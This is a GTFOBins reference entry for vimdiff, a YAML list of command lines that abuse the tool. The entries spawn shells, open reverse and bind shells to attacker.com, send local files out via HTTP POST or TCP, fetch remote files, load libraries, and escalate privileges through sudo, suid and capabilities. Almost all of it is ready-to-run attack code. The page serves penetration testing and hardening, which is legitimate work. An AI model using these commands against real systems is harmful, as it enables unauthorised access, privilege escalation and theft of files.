GTFOBins.github.io/_gtfobins/vimdiff.md

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2021-01-29 22:12:00 +01:00
---
functions:
shell:
- code: vimdiff -c ':!/bin/sh'
- code: |
vimdiff
:set shell=/bin/sh
:shell
- description: This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3.
code: vimdiff -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
- description: This requires that `vimdiff` is compiled with Lua support.
code: vimdiff -c ':lua os.execute("reset; exec sh")'
reverse-shell:
- description: This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
code: |
export RHOST=attacker.com
export RPORT=12345
vimdiff -c ':py import vim,sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")
vim.command(":q!")'
non-interactive-reverse-shell:
- description: Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires that `vimdiff` is compiled with Lua support and that `lua-socket` is installed.
code: |
export RHOST=attacker.com
export RPORT=12345
vimdiff -c ':lua local s=require("socket"); local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
while true do
local r,x=t:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));t:send(b);
end;
f:close();t:close();'
non-interactive-bind-shell:
- description: Run `nc target.com 12345` on the attacker box to connect to the shell. This requires that `vimdiff` is compiled with Lua support and that `lua-socket` is installed.
code: |
export LPORT=12345
vimdiff -c ':lua local k=require("socket");
local s=assert(k.bind("*",os.getenv("LPORT")));
local c=s:accept();
while true do
local r,x=c:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));c:send(b);
end;c:close();f:close();'
file-upload:
- description: This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.
code: |
export URL=http://attacker.com/
export LFILE=file_to_send
vimdiff -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
else: import urllib as u, urllib2 as r
r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))
vim.command(":q!")'
- description: This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3. Serve files in the local folder running an HTTP server.
code: |
export LPORT=8888
vimdiff -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import http.server as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()
vim.command(":q!")'
- description: Send a local file via TCP. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. This requires that `vimdiff` is compiled with Lua support and that `lua-socket` is installed.
code: |
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
vimdiff -c ':lua local f=io.open(os.getenv("LFILE"), 'rb')
local d=f:read("*a")
io.close(f);
local s=require("socket");
local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
t:send(d);
t:close();'
file-download:
- description: This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request.
code: |
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
vimdiff -c ':py import vim,sys; from os import environ as e
if sys.version_info.major == 3: import urllib.request as r
else: import urllib as r
r.urlretrieve(e["URL"], e["LFILE"])
vim.command(":q!")'
- description: Fetch a remote file via TCP. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file. This requires that `vimdiff` is compiled with Lua support and that `lua-socket` is installed.
code: |
export LPORT=12345
export LFILE=file_to_save
vimdiff -c ':lua local k=require("socket");
local s=assert(k.bind("*",os.getenv("LPORT")));
local c=s:accept();
local d,x=c:receive("*a");
c:close();
local f=io.open(os.getenv("LFILE"), "wb");
f:write(d);
io.close(f);'
file-write:
- code: |
vimdiff file_to_write
iDATA
^[
w
file-read:
- code: vimdiff file_to_read
library-load:
- description: This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3.
code: vimdiff -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary("lib.so"); vim.command(":q!")'
suid:
- description: This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3.
code: ./vimdiff -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
sudo:
- code: sudo vimdiff -c ':!/bin/sh'
- description: This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3.
code: sudo vimdiff -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
- description: This requires that `vimdiff` is compiled with Lua support.
code: sudo vimdiff -c ':lua os.execute("reset; exec sh")'
capabilities:
- description: This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3.
code: ./vimdiff -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
limited-suid:
- description: This requires that `vimdiff` is compiled with Lua support.
code: ./vimdiff -c ':lua os.execute("reset; exec sh")'
---